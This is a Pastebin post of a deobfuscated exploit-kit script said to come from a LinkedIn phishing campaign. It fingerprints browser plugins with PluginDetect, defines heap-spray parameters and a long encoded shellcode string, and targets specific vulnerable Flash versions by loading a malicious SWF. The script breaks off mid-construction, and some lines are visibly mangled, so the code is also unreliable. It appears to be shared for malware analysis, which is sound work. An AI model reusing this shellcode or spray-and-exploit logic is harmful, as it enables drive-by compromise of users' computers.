Advertisement
adityaks

Deobfuscated Script - Linkedin Phishing Attack [Exploit Kit]

Jun 13th, 2012
540
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 11.86 KB | None | 0 0
  1. function end_redirect()
  2. {}
  3. try{
  4.     var PluginDetect={version:"0.7.6",name:"PluginDetect",handler:function(c,b,a)
  5.             {return function()
  6.                 {c(b,a)}
  7.             },isDefined:function(b)
  8.                 {return typeof b!="undefined"},isArray:function(b)
  9.                     {return(/array/i).test(Object.prototype.toString.call(b))},isFunc:function(b)
  10.                         {return typeof b=="function"},isString:function(b){return typeof b=="string"},isNum:function(b)
  11.                         {return typeof b=="number"},isStrNum:function(b)
  12.                         {return(typeof b=="string"&&(/\d/).test(b))},getNumRegx:/[\d][\d\.\_,-]*/,splitNumRegx:/[\.\_,-]/g,getNum:function(b,c){
  13.                         var d=this,a=d.isStrNum(b)?(d.isDefined(c)?new RegExp(c):d.getNumRegx).exec(b):null;return a?a[0]:null},compareNums:function(h,f,d)
  14.                         {var e=this,c,b,a,g=parseInt;if(e.isStrNum(h)&&e.isStrNum(f)){if(e.isDefined(d)&&d.compareNums)
  15.                         {return d.compareNums(h,f)}c=h.split(e.splitNumRegx);b=f.split(e.splitNumRegx);
  16.                         for(a=0;ag(b[a],10)){return 1}if(g(c[a],10)c||!(/\d/).test(e[a])){e[a]="0"}}
  17.                         return e.slice(0,4).join(",")},$$hasMimeType:function(a){return function(d){if(!a.isIE&&d)
  18.                         {var c,b,e,f=a.isString(d)?[d]:d;if(!f||!f.length){return null}
  19.                         for(e=0;e2||!f||!f.version||!(e=h.getNum(f.version))){return b}
  20.                         if(!b){return e}e=h.formatNum(e);b=h.formatNum(b);d=b.split(h.splitNumRegx);g=e.split(h.splitNumRegx);f
  21.                         or(a=0;a-1&&a>c&&!(d[a]=="0")){return b}if(g[a]!=d[a]){if(c==-1){c=a}
  22.                         if(d[a]!="0"){return b}}}return e},AXO:window.ActiveXObject,getAXO:function(a)
  23.                         {var f=null,d,b=this,c={};try{f=new b.AXO(a)}catch(d){}return f},convertFuncs:function(g)
  24.                         {var a,h,f,b=/^[\$][\$]/,d={},c=this;for(a in g){if(b.test(a)){d[a]=1}}for(a in d){try
  25.                         {h=a.slice(2);if(h.length>0&&!g[h]){g[h]=g[a](g);delete g[a]}}catch(f){}}},initScript:function()
  26.                         {var c=this,a=navigator,e="/",i=a.userAgent||"",g=a.vendor||"",b=a.platform||"",h=a.product||"";
  27.                         if(c.file){c.file.$=c}if(c.verify){c.verify.$=c};c.OS=100;
  28.                         if(b){var f,d=["Win",1,"Mac",2,"Linux",3,"FreeBSD",4,"iPhone",21.1,"iPod",21.2,"iPad",21.3,"Win.*"+"CE",22.1,"Win.*Mobile",22.2,"Pocket\\s*PC",22.3,"",100];
  29.                         for(f=d.length-2;f>=0;f=f-2){if(d[f]&&new RegExp(d[f],"i").test(b)){c.OS=d[f+1];break}}}
  30.                         c.convertFuncs(c);c.isIE=new Function("return "+e+"*@cc"+"_on!@*"+e+"false")();
  31.                         c.verIE=c.isIE&&(/MSIE\s*(\d+\.?\d*)/i).test(i)?parseFloat(RegExp.$1,10):null;c.ActiveXEnabled=false;if(c.isIE)
  32.                         {var f,j=["Msxml2.XMLHTTP","Msxml2.DOMDocument","Microsoft.XMLDOM","ShockwaveFlash.ShockwaveFlash","TDCCtl.TDCCtl","Shell.UIHelper","Scripting.Dictionary","wmplayer.ocx"];
  33.                         for(f=0;f1?c[1]:0,a>2?c[2]:0,a>3?c[3]:0)}else{if(b.isFunc(c)){c(b)}}},getVersionDelimiter:",",$$getVersion:function(a){return function(g,d,c){var e=a.init(g),f,b,h={};
  34.                         if(e<0){return null};f=a.plugin;if(f.getVersionDone!=1){f.getVersion(null,d,c);if(f.getVersionDone===null){f.getVersionDone=1}}a.cleanup();b=(f.version||f.version0);
  35.                         b=b?b.replace(a.splitNumRegx,a.getVersionDelimiter):b;return b}},cleanup:function(){},addWinEvent:function(d,c){var e=this,a=window,b;if(e.isFunc(c))
  36.                         {if(a.addEventListener){a.addEventListener(d,c,false)}else{if(a.attachEvent){a.attachEvent("on"+d,c)}else{b=a["on"+d];a["on"+d]=e.winHandler(c,b)}}}},winHandler:function(d,c)
  37.                         {return function(){d();if(typeof c=="function"){c()}}},WLfuncs0:[],WLfuncs:[],runWLfuncs:function(a){var b={};a.winLoaded=true;a.callArray(a.WLfuncs0);a.callArray(a.WLfuncs);
  38.                         if(a.onDoneEmptyDiv){a.onDoneEmptyDiv()}},winLoaded:false,$$onWindowLoaded:function(a){return function(b)
  39.                         {if(a.winLoaded){a.call(b)}else{a.fPush(b,a.WLfuncs)}}},div:null,divID:"plugindetect",divWidth:50,pluginSize:1,emptyDiv:function()
  40.                         {var d=this,b,h,c,a,f,g;if(d.div&&d.div.childNodes){for(b=d.div.childNodes.length-1;b>=0;b--){c=d.div.childNodes[b];if(c&&c.childNodes)
  41.                         {for(h=c.childNodes.length-1;h>=0;h--){g=c.childNodes[h];try{c.removeChild(g)}catch(f){}}}if(c){try{d.div.removeChild(c)}catch(f){}}}}
  42.                         if(!d.div){a=document.getElementById(d.divID);if(a){d.div=a}}if(d.div&&d.div.parentNode){try{d.div.parentNode.removeChild(d.div)}
  43.                         catch(f){}d.div=null}},DONEfuncs:[],onDoneEmptyDiv:function(){var c=this,a,b;if(!c.winLoaded){return}
  44.                         if(c.WLfuncs&&c.WLfuncs.length&&c.WLfuncs[c.WLfuncs.length-1]!==null){return}for(a in c){b=c[a];if(b&&b.funcs){if(b.OTF==3){return}
  45.                         if(b.funcs.length&&b.funcs[b.funcs.length-1]!==null){return}}}for(a=0;a<0||j<0||i<0||!(i="">c.pluginSize)||c.pluginSize<1)
  46.                         {return 0}if(l>=i){return -1}try{if(l==c.pluginSize&&(!c.isIE||c.getDOMobj(m).readyState==4)){if(!m.winLoaded&&c.winLoaded){return 1}
  47.                         if(m.winLoaded&&c.isNum(b)){if(!c.isNum(m.count)){m.count=b}if(b-m.count>=10){return 1}}}}catch(f){}return 0},getDOMobj:
  48.                         function(g,a){var f,d=this,c=g?g.span:0,b=c&&c.firstChild?1:0;try{if(b&&a){c.firstChild.focus()}}catch(f){}
  49.                         return b?c.firstChild:null},setStyle:function(b,g){var f=b.style,a,d,c=this;if(f&&g){for(a=0;ao'+c+"/div>");
  50.                         d=j.getElementById(b)}catch(h){}}g=(j.getElementsByTagName("body")[0]||j.body);if(g){if(g.firstChild&&f.isDefined(g.insertBefore))
  51.                         {g.insertBefore(a,g.firstChild)}else{g.appendChild(a)}if(d){g.removeChild(d)}}else{}},insertHTML:function(g,b,h,a,k)
  52.                         {var l,m=document,j=this,p,o=m.createElement("span"),n,i,f="<";
  53.                         var c=["outlineStyle","none","borderStyle","none","padding","0px","margin","0px","visibility","visible"];if(!j.isDefined(a))
  54.                         {a=""}if(j.isString(g)&&(/[^\s]/).test(g)){p=f+g+' width="'+j.pluginSize+'" height="'+j.pluginSize+'" ';for(n=0;n'}}
  55.                         p+=a+f+"/"+g+">"}else{p=a}if(!j.div){i=m.getElementById(j.divID);if(i){j.div=i}else{j.div=m.createElement("div");
  56.                         j.div.id=j.divID;j.insertDivInBody(j.div)}j.setStyle(j.div,c.concat(["width",j.divWidth+"px","height",(j.pluginSize+3)+"px","fontSize",(j.pluginSize+3)+"px","lineHeight",(j.pluginSize+3)+"px","verticalAlign","baseline","display","block"]));
  57.                         if(!i){j.setStyle(j.div,["position","absolute","right","0px","top","0px"])}}if(j.div&&j.div.parentNode)
  58.                         {j.div.appendChild(o);j.setStyle(o,c.concat(["fontSize",(j.pluginSize+3)+"px","lineHeight",(j.pluginSize+3)+"px","verticalAlign","baseline","display","inline"]));
  59.                         try{if(o&&o.parentNode){o.focus()}}catch(l){}try{o.innerHTML=p}catch(l){}if(o.childNodes.length==1&&!(j.isGecko&&j.compareNums(j.verGecko,"1"+",5,0,0")<0))
  60.                         {j.setStyle(o.firstChild,c.concat(["display","inline"]))}return{span:o,winLoaded:j.winLoaded,tagName:(j.isString(g)?g:"")}}
  61.                         return{span:null,winLoaded:j.winLoaded,tagName:""}},flash:{mimeType:"application/x-shockwave-flash",progID:"ShockwaveFlash.ShockwaveFlash",classID:"clsid:D27CDB6E-AE6D-11CF-96B8-444553540000",getVersion:function()
  62.                         {var b=function(i){if(!i){return null}var e=/[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(i);return e?e[0].replace(/[rRdD\.]/g,",").replace(/\s/g,""):null};
  63.                         var j=this,g=j.$,k,h,l=null,c=null,a=null,f,m,d;if(!g.isIE){m=g.hasMimeType(j.mimeType);if(m){f=g.getDOMobj(g.insertHTML("object",["type",j.mimeType],[],"",j));
  64.                         try{l=g.getNum(f.GetVariable("$version"))}catch(k){}}if(!l){d=m?m.enabledPlugin:null;if(d&&d.description)
  65.                         {l=b(d.description)}if(l){l=g.getPluginFileVersion(d,l)}}}else{for(h=15;h>2;h--){c=g.getAXO(j.progID+"."+h);
  66.                         if(c){a=h.toString();break}}if(!c){c=g.getAXO(j.progID)}if(a=="6"){try{c.AllowScriptAccess="always"}catch(k){return"6,0,21,0"}}
  67.                         try{l=b(c.GetVariable("$version"))}catch(k){}if(!l&&a){l=a}}j.installed=l?1:-1;j.version=g.formatNum(l);return true}},adobereader:
  68.                         {mimeType:"application/pdf",navPluginObj:null,progID:["AcroPDF.PDF","PDF.PdfCtrl"],classID:"clsid:CA8A9780-280D-11CF-A24D-444553540000",INSTALLED:{},pluginHasMimeType:function(d,c,f)
  69.                         {var b=this,e=b.$,a;for(a in d){if(d[a]&&d[a].type&&d[a].type==c){return 1}}if(e.getMimeEnabledPlugin(c,f)){return 1}return 0},getVersion:function(l,j)
  70.                         {var g=this,d=g.$,i,f,m,n,b=null,h=null,k=g.mimeType,a,c;if(d.isString(j)){j=j.replace(/\s/g,"");if(j){k=j}}else{j=null}if(d.isDefined(g.INSTALLED[k]))
  71.                         {g.installed=g.INSTALLED[k];return}if(!d.isIE){a="Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";if(g.getVersionDone!==0)
  72.                         {g.getVersionDone=0;b=d.getMimeEnabledPlugin(g.mimeType,a);if(!j){n=b}if(!b&&d.hasMimeType(g.mimeType)){b=d.findNavPlugin(a,0)}
  73.                         if(b){g.navPluginObj=b;h=d.getNum(b.description)||d.getNum(b.name);h=d.getPluginFileVersion(b,h);if(!h&&d.OS==1){if(g.pluginHasMimeType(b,"application/vnd.adobe.pdfxml",a))
  74.                         {h="9"}else{if(g.pluginHasMimeType(b,"application/vnd.adobe.x-mars",a)){h="8"}}}}}else{h=g.version}
  75.                         if(!d.isDefined(n)){n=d.getMimeEnabledPlugin(k,a)}g.installed=n&&h?1:(n?0:(g.navPluginObj?-0.2:-1))}
  76.                         else{b=d.getAXO(g.progID[0])||d.getAXO(g.progID[1]);c=/=\s*([\d\.]+)/g;try{f=(b||d.getDOMobj(d.insertHTML("object",["classid",g.classID],["src",""],"",g))).GetVersions();
  77.                         for(m=0;m<5;m++){if(c.test(f)&&(!h||!(RegExp.$1-h<=0))){h=RegExp.$1}}}catch(i){}g.installed=h?1:(b?0:-1)}if(!g.version){g.version=d.formatNum(h)}g.INSTALLED[k]=g.installed}},zz:0};
  78.                         PluginDetect.initScript();PluginDetect.getVersion(".");pdfver=PluginDetect.getVersion("AdobeReader");
  79.                         flashver=PluginDetect.getVersion('Flash');}catch(e){}if(typeof pdfver=='string'){pdfver=pdfver.split('.')}else{pdfver=[0,0,0,0]}
  80.                         if(typeof flashver=='string'){flashver=flashver.split('.')}else{flashver=[0,0,0,0];
  81.            
  82.             exec7=1;
  83.             function spl0()
  84.                 {
  85.                     spl2()
  86.                 }
  87.             function spl2()
  88.                 {
  89.                     spl3()
  90.                 }
  91.             function spl3()
  92.                 {
  93.                     spl4()
  94.                 }
  95.             function spl4()
  96.                 {
  97.                     spl5()
  98.                 }
  99.             function getCN()
  100.                 {
  101.                     return 'data/score.swf'
  102.                 }
  103.             function getBlockSize()
  104.                 {
  105.                     return 1024
  106.                 }
  107.             function getAllocSize()
  108.                 {
  109.                     return 1024 * 1024
  110.                 }
  111.             function getAllocCount()
  112.                 {
  113.                     return 300
  114.                 }
  115.             function getFillBytes()
  116.                 {
  117.                     var a='%u'+'0c0c';
  118.                     return a+a;
  119.                 }
  120.             function getShellCode()
  121.                 {
  122.                     if(1)
  123.                         {
  124.                             return "%u4141%u4141%u8366%ufce4%uebfc%u5810%uc931%u8166%u56e9%u80fe%u2830%ue
  125.                             240%uebfa%ue805%uffeb%uffff%uccad%u1c5d%u77c1%ue81b%ua34c%u1868%u68a3%ua324%u
  126.                             3458%ua37e%u205e%uf31b%ua34e%u1476%u5c2b%u041b%uc6a9%u383d%ud7d7%ua390%u1868%u
  127.                             6eeb%u2e11%ud35d%u1caf%uad0c%u5dcc%uc179%u64c3%u7e79%u5da3%ua314%u1d5c%u2b50%u7
  128.                             edd%u5ea3%u2b08%u1bdd%u61e1%ud469%u2b85%u1bed%u27f3%u3896%uda10%u205c%ue3e9%u2b
  129.                             25%u68f2%ud9c3%u3713%uce5d%ua376%u0c76%uf52b%ua34e%u6324%u6ea5%ud7c4%u0c7c%ua324
  130.                             %u2bf0%ua3f5%ua32c%ued2b%u7683%ueb71%u7bc3%ua385%u0840%u55a8%u1b24%u2b5c%uc3be%ua
  131.                             3db%u2040%udfa3%u2d42%uc071%ud7b0%ud7d7%ud1ca%u28c0%u2828%u7028%u4278%u4068%u28d7%
  132.                             u2828%uab78%u31e8%u7d78%uc4a3%u76a3%uab38%u2deb%ucbd7%u4740%u2846%u4028%u5a5d%u4544
  133.                             \%ud77c%uab3e%u20ec%uc0a3%u49c0%ud7d7%uc3d7%uc32a%ua95a%u2cc4%u2829%ua528%u0c74%uef24
  134.                             %u0c2c%u4d5a%u5b4f%u6cef%u2c0c%u5a5e%u1a1b%u6cef%u200c%u0508%u085b%u407b%u28d0%u2828
  135.                             %u7ed7%ua324%u1bc0%u79e1%u6cef%u2835%u585f%u5c4a%u6cef%u2d35%u4c06%u4444%u6cee%u2135
  136.                             %u7128%ue9a2%u182c%u6ca0%u2c35%u7969%u2842%u2842%u7f7b%u2842%u7ed7%uad3c%u5de8%u423e
  137.                             %u7b28%u7ed7%u422c%uab28%u24c3%ud77b%u2c7e%uebab%uc324%uc32a%u6f3b%u17a8%u5d28%u6fd2
  138.                             %u17a8%u5d28%u42ec%u4228%ud7d6%u207e%ub4c0%ud7d6%ua6d7%u2666%ub0c4%ua2d6%ua126%u2947
  139.                             %u1b95%ua2e2%u3373%u6eee%u1e51%u0732%u4058%u5c5c%u1258%u0707%u1c19%u061e%u1019%u061d
  140.                             %u191a%u0610%u1e1f%u5b07%u5806%u5840%u4e17%u1815%u1c4d%u491c%u4d0e%u1915%u2828";
  141.                         }
  142.                 }
  143.             function spl5()
  144.                 {
  145.                     var ver1=flashver[0];
  146.                     var ver2=flashver[1];
  147.                     var ver3=flashver[2];
  148.                    
  149.                     if (((ver1==10&&ver2==0&&ver3>40)||((ver1==10&&ver2>0)&&
  150.                     (ver1==10&&ver2<2)))||((ver1==10&&ver2==2&&ver3<159)||(ver1==(11-1)&&ver2<2)))
  151.                         {
  152.                             var fname="data/field";
  153.                             var Flash_obj="";
  154.                             Flash_obj+="";
  155.                             al="always";
  156.                             Flash_obj+="";
  157.                             Flash_obj+="";
  158.                             Flash_obj+="<="" body="">
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement